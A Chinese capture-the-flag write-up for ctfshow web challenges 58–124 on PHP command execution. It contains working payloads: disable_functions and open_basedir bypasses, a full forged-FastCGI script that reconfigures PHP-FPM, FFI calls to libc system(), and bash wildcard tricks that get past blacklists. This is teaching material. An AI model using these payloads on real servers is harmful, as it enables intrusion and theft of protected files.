首页/文章/CTF WEB

CTFweb 入门之命令执行(下)

对于 ctfshow web 的命令执行相关题目的 WP 和知识总结

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

web58

题目描述

命令执行,突破禁用函数

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}
http
<br /><b>Warning</b>:  system() has been disabled for security reasons in <b>/var/www/html/index.php(17) : eval()'d code</b> on line <b>1</b><br />

可以看见我们的 system() 函数被禁用了,我们先看一下哪些函数被禁用了
c=var_dump(ini_get("disable_functions"));
"phpinfo,apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_exec,curl_multi_exec,dl,exec,imap_mail,imap_open,ini_alter,ini_restore,ini_set,link,mail,openlog,parse_ini_file,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_wait,pcntl_waitpid,pcntl_wstopsig,pcntl_wtermsig,popen,posix_kill,proc_get_status,proc_open,proc_terminate,putenv,readlink,shell_exec,symlink,syslog,system"
可以看见 scandir() highlight_file() 都未被禁用
构造 c=var_dump(scandir(".")); 输出

http
array(4) {  [0]=>  string(1) "."  [1]=>  string(2) ".."  [2]=>  string(8) "flag.php"  [3]=>  string(9) "index.php"}

c=highlight_file("flag.php");即可

语法

ini_get()php 内置函数,用来读取 ini.php 中的某个配置项
var_dump(...) 用来输出变量的类型和值

web59

题目描述

命令执行,突破禁用函数

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

我们还是 c=var_dump(scandir(".")); ,注意,我们要在请求头加 Content-Type: application/x-www-form-urlencoded,告诉服务器,post 提交的是 html 表单格式
c=highlight_file("flag.php"); 获取 flag

web60

题目描述

命令执行,突破禁用函数

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

依旧 c=highlight_file("flag.php");

web61

题目描述

命令执行,突破禁用函数

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

依旧 c=highlight_file("flag.php");

web62

题目描述

命令执行,突破禁用函数

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

还是一样

web63

题目描述

命令执行,突破禁用函数

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

还是一样

web64

题目描述

命令执行,突破禁用函数,真的是 秀不过你们

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

web65

题目描述

命令执行,突破禁用函数,求你们别秀了

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

hyw?怎么全是一样的

web66

题目描述

命令执行,突破禁用函数,求你们别秀了

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

c=highlight_file(%22flag.php%22)%3b

alt text

c=var_dump(scandir(%22%2f%22))%3b
alt text

c=highlight_file(%22%2fflag.txt%22)%3b 拿到 flag

web67

题目描述

命令执行,突破禁用函数,求你们别秀了

php
<?phpif(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

c=highlight_file(%22%2fflag.txt%22)%3b

web68

题目描述

命令执行,突破禁用函数,求你们别秀了

alt text

可以看见 highlight_file() 被禁用了。所以看不见源码,还是简单 post 一下
alt text

alt text

确实是 eval() 函数,那我们直接 scandir()
alt text
发现 /flag.txt
include() 未被禁,我们用 include()

web69

题目描述

命令执行,突破禁用函数,求你们别秀了

alt text

http
<br /><b>Warning</b>:  var_dump() has been disabled for security reasons in <b>/var/www/html/index.php(17) : eval()'d code</b> on line <b>1</b><br />

这回 var_dump() 也被禁用了,我们用 c=foreach(scandir('/') as $v){echo $v."\n";}

alt text

构造 c=include("/flag.txt");

语法

foreach() 遍历,scandir() 返回的是数组,每遍历得到的东西赋值给 vecho 输出

web70

题目描述

命令执行,突破禁用函数,求你们别秀了

alt text

禁的更多了,依旧 foreach
alt text

之后尝试 include()

web71

题目描述

命令执行,突破禁用函数,求你们别秀了

php
<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);        $s = ob_get_contents();        ob_end_clean();        echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{    highlight_file(__FILE__);}?>

alt text

alt text

直接 include() 可以看见变成了问号,源码中,将字母和数字变成了问号,那我们在 include()后加exit 在执行到替换前就结束
include("/flag.txt");exit();

web72

题目描述

命令执行,突破禁用函数,求你们别秀了

php
<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);        $s = ob_get_contents();        ob_end_clean();        echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{    highlight_file(__FILE__);}?>

alt text

直接 include("flag.txt");exit();

http
</b>:  include(/flag.txt): failed to open stream: No such file or directory in <b>/var/www/html/index.php(19) : eval()'d code</b> on line <b>1</b><br /><br /><b>Warning</b>:  include(): Failed opening '/flag.txt' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php(19) : eval()'d code</b> on line <b>1</b><br />

可以看见没有文件
var_dump(scandir('/'));exit;

http
:  scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in <b>/var/www/html/index.php(19) : eval()'d code

可以看见有 open_basedir restriction,只允许访问 /var/www/html/ 路径下的文件,我们用 glob 枚举根目录 c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit; DirectoryIteratorPHPSPL 目录迭代器,用来遍历目录里的文件。

alt text

可以看见有 flag0.txt 我们想办法读取

PHP 的运行方式

我们访问网站时,大致流程如下

text
你的浏览器NginxPHP-FPM执行 index.php

NginxWeb 服务器,负责接收 HTTP 请求
PHP-FPM 是真正执行 PHP 代码的程序。Nginx 把请求交给它,它执行 PHP 文件,然后把结果还给 NginxNginxPHP-FPM 之间用FASTCGI协议,他们不用http

本题

既然我们被限制访问的路径,那我们尝试新开一个网页,9000PHP-FPM 常用监听端口。那由于有 RCE 我们让服务器自己去连接自己 stream_socket_client("tcp://127.0.0.1:9000")
之后我们伪造 FASTCGI 请求,修改配置

ini
open_basedir=/allow_url_include=Onauto_prepend_file=php://input

最终利用

bp 构造请求如下

http
POST / HTTP/1.1Host: b3184261-41e8-4f4c-be96-aff762425946.challenge.ctf.showContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 1397c=function enc($n,$v){    $l1=strlen($n);    $l2=strlen($v);    $s="";    if($l1<128){$s.=pack("C",$l1);}else{$s.=pack("N",$l1|0x80000000);}    if($l2<128){$s.=pack("C",$l2);}else{$s.=pack("N",$l2|0x80000000);}    return $s.$n.$v;}function rec($t,$c){    $l=strlen($c);    return pack("CCnnCC",1,$t,1,$l,0,0).$c;}$code='<?php include("/flag0.txt"); ?>';$nl=pack("C",10);$pv='open_basedir=/'.$nl.'allow_url_include=On'.$nl.'auto_prepend_file=php://input';$params=array(    'GATEWAY_INTERFACE'=>'FastCGI/1.0',    'REQUEST_METHOD'=>'POST',    'SCRIPT_FILENAME'=>'/var/www/html/index.php',    'SCRIPT_NAME'=>'/index.php',    'DOCUMENT_ROOT'=>'/var/www/html',    'REMOTE_ADDR'=>'127.0.0.1',    'REMOTE_PORT'=>'9985',    'SERVER_ADDR'=>'127.0.0.1',    'SERVER_PORT'=>'80',    'SERVER_NAME'=>'localhost',    'SERVER_PROTOCOL'=>'HTTP/1.1',    'CONTENT_TYPE'=>'application/x-www-form-urlencoded',    'CONTENT_LENGTH'=>strval(strlen($code)),    'PHP_VALUE'=>$pv);$p='';foreach($params as $k=>$v){    $p.=enc($k,$v);}$req=rec(1,pack("nC6",1,0,0,0,0,0,0)).rec(4,$p).rec(4,'').rec(5,$code).rec(5,'');$fp=stream_socket_client('tcp://127.0.0.1:9000',$e,$s,3);stream_socket_sendto($fp,$req);stream_set_timeout($fp,2);for($i=0;$i<20;$i++){    $r=stream_socket_recvfrom($fp,8192);    if(strlen($r)==0){break;}    echo $r;}exit;

web73

题目描述

命令执行,突破禁用函数,求你们别秀了

c=include(%22flag.txt%22)%3bexit()%3b 尝试发现没有相关路径
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit;

alt text

c=include(%22/flagc.txt%22)%3bexit()%3b 拿到 flag

web74

题目描述

命令执行,突破禁用函数,求你们别秀了

$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit;

alt text

include("/flagx.txt");exit(); 拿到 flag

web75

题目描述

命令执行,突破禁用函数,求你们别秀了

$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit;

alt text

直接 include 不行,再尝试原方法发现 strlen() 也被禁了
alt text

我们把 strlen() 换成 mb_strlen()

http
POST / HTTP/1.1Host: a7b56363-5612-4412-a2c4-c1549f6b1cad.challenge.ctf.showContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 1418c=function L($s){return mb_strlen($s,"8bit");}function enc($n,$v){    $l1=L($n);    $l2=L($v);    $s="";    if($l1<128){$s.=pack("C",$l1);}else{$s.=pack("N",$l1|0x80000000);}    if($l2<128){$s.=pack("C",$l2);}else{$s.=pack("N",$l2|0x80000000);}    return $s.$n.$v;}function rec($t,$c){    $l=L($c);    return pack("CCnnCC",1,$t,1,$l,0,0).$c;}$code='<?php include("/flag36.txt"); ?>';$nl=pack("C",10);$pv='open_basedir=/'.$nl.'allow_url_include=On'.$nl.'auto_prepend_file=php://input';$params=array(    'GATEWAY_INTERFACE'=>'FastCGI/1.0',    'REQUEST_METHOD'=>'POST',    'SCRIPT_FILENAME'=>'/var/www/html/index.php',    'SCRIPT_NAME'=>'/index.php',    'DOCUMENT_ROOT'=>'/var/www/html',    'REMOTE_ADDR'=>'127.0.0.1',    'REMOTE_PORT'=>'9985',    'SERVER_ADDR'=>'127.0.0.1',    'SERVER_PORT'=>'80',    'SERVER_NAME'=>'localhost',    'SERVER_PROTOCOL'=>'HTTP/1.1',    'CONTENT_TYPE'=>'application/x-www-form-urlencoded',    'CONTENT_LENGTH'=>strval(L($code)),    'PHP_VALUE'=>$pv);$p='';foreach($params as $k=>$v){    $p.=enc($k,$v);}$req=rec(1,pack("nC6",1,0,0,0,0,0,0)).rec(4,$p).rec(4,'').rec(5,$code).rec(5,'');$fp=stream_socket_client('tcp://127.0.0.1:9000',$e,$s,3);stream_socket_sendto($fp,$req);stream_set_timeout($fp,2);for($i=0;$i<20;$i++){    $r=stream_socket_recvfrom($fp,8192);    if($r===''){break;}    echo $r;}exit;

alt text

web76

题目描述

命令执行,突破禁用函数,求你们别秀了

alt text

枚举出 flag36d.txt
payload 如下

http
POST / HTTP/1.1Host: b51381e3-aff8-4c92-ad97-46f39feeccaa.challenge.ctf.showContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 1419c=function L($s){return mb_strlen($s,"8bit");}function enc($n,$v){    $l1=L($n);    $l2=L($v);    $s="";    if($l1<128){$s.=pack("C",$l1);}else{$s.=pack("N",$l1|0x80000000);}    if($l2<128){$s.=pack("C",$l2);}else{$s.=pack("N",$l2|0x80000000);}    return $s.$n.$v;}function rec($t,$c){    $l=L($c);    return pack("CCnnCC",1,$t,1,$l,0,0).$c;}$code='<?php include("/flag36d.txt"); ?>';$nl=pack("C",10);$pv='open_basedir=/'.$nl.'allow_url_include=On'.$nl.'auto_prepend_file=php://input';$params=array(    'GATEWAY_INTERFACE'=>'FastCGI/1.0',    'REQUEST_METHOD'=>'POST',    'SCRIPT_FILENAME'=>'/var/www/html/index.php',    'SCRIPT_NAME'=>'/index.php',    'DOCUMENT_ROOT'=>'/var/www/html',    'REMOTE_ADDR'=>'127.0.0.1',    'REMOTE_PORT'=>'9985',    'SERVER_ADDR'=>'127.0.0.1',    'SERVER_PORT'=>'80',    'SERVER_NAME'=>'localhost',    'SERVER_PROTOCOL'=>'HTTP/1.1',    'CONTENT_TYPE'=>'application/x-www-form-urlencoded',    'CONTENT_LENGTH'=>strval(L($code)),    'PHP_VALUE'=>$pv);$p='';foreach($params as $k=>$v){    $p.=enc($k,$v);}$req=rec(1,pack("nC6",1,0,0,0,0,0,0)).rec(4,$p).rec(4,'').rec(5,$code).rec(5,'');$fp=stream_socket_client('tcp://127.0.0.1:9000',$e,$s,3);stream_socket_sendto($fp,$req);stream_set_timeout($fp,2);for($i=0;$i<20;$i++){    $r=stream_socket_recvfrom($fp,8192);    if($r===''){break;}    echo $r;}exit;

alt text

web77

题目描述

命令执行,突破禁用函数,求你们别秀了

alt text

但是靶机开了FFI echo class_exists("FFI")?"yes":"no";exit;
alt text

c=echo ini_get("ffi.enable");exit;
alt text
什么是 FFI
FFI 全称 Foreign Function Interface
开启了这个允许 php 调用外部语言库的函数
虽然题目中近了 system() ,但我们可以调用 C 语言中的 system() 函数
alt text

c=echo ini_get("open_basedir");exit; 可以看见 open_basedirvar/www/html 构造

http
c=$ffi=FFI::cdef("int system(const char *command);","libc.so.6");$ffi->system("/readflag > /var/www/html/1.txt");include "/var/www/html/1.txt";exit;

alt text

web118

题目描述

flag in flag.php

alt text

alt text

发送 aaa 发现未被处理
alt text

返回 evil input
试了一圈,发现 ?@#${}:;.~_ A-Z空格不会返回 evil input ,字母数字还有其他符号都会返回非法
alt text

根据这个提示,大概这个表单传进去的会被 system 包裹,那我们构造
${PATH:~A}${PWD:~A} ????.??? 展开成 nl 这里指的是 PATH 倒数第 A 位,A未赋值,通常为 0 .那 ~ 按位取反为 1 ,那就是倒数第一位,PATH 路径通常是 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin pwd 通常是 /var/www/html 展开后就是 nl
alt text

拿到 flag

web119

题目描述

alt text

继续抓包测试
alt text

爆破看一下
结果有 空格 .$#:;?@~Z ~{}_ 我们还是 ${PATH:~A}${PWD:~A} ????.???
但是 PATH 不行,会返回非法可以用其他的,例如 SCRIPT_NAME=/index.php
这里我们用${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? ${PWD:${#}:${#SHLVL}}PWD 的第 0 位、长度 1。PWD=/var/www/html,所以取到:/
${HOME:${#HOSTNAME}:${#SHLVL}} # 取长度,分别是 8,1 结果是 t 最终 /???/??t ????.??? 匹配 /bin/cat flag.php
alt text

web120

题目描述

php
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){    $code=$_POST['code'];    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){            if(strlen($code)>65){            echo '<div align="center">'.'you are so long , I dont like '.'</div>';        }        else{        echo '<div align="center">'.system($code).'</div>';        }    }    else{     echo '<div align="center">evil input</div>';    }}?>

可以看见这道题的源码,没有禁 A~Z ~?{}@#$_空格我们如此构造
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web121

题目描述

师傅们 留口饭吃

php
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){    $code=$_POST['code'];    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){            if(strlen($code)>65){            echo '<div align="center">'.'you are so long , I dont like '.'</div>';        }        else{        echo '<div align="center">'.system($code).'</div>';        }    }    else{     echo '<div align="center">evil input</div>';    }}?>

没有禁 A~Z ?{}@#$空格,我们构造 ${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???/bin/rev flag.php

web122

题目描述

最后一个了 hint:fuzz

php
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){    $code=$_POST['code'];    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){            if(strlen($code)>65){            echo '<div align="center">'.'you are so long , I dont like '.'</div>';        }        else{        echo '<div align="center">'.system($code).'</div>';        }    }    else{     echo '<div align="center">evil input</div>';    }}?>

这次又禁了 PWD,我们这里构造 <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? <A 把 A 作为标准文件输入,而 $? 指的是返回上一个命令执行结果,成功为 0 ,失败为 1 ,那么这里 ${HOME::$?} 代表 /,这里展开 {HOME::$?}?????${RANDOM::$?} /????x x 是随机数字,那么这里匹配的是 base64

alt text

多次尝试后,拿到了 flag

web124

题目描述

RCE

php
<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){    show_source(__FILE__);}else{    //例子 c=20-1    $content = $_GET['c'];    if (strlen($content) >= 80) {        die("太长了不会算");    }    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];    foreach ($blacklist as $blackitem) {        if (preg_match('/' . $blackitem . '/m', $content)) {            die("请不要输入奇奇怪怪的字符");        }    }    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);      foreach ($used_funcs[0] as $func) {        if (!in_array($func, $whitelist)) {            die("请不要输入奇奇怪怪的函数");        }    }    eval('echo '.$content.';');}

可以看见只允许白名单内的函数,我们构造
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20flag.php

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...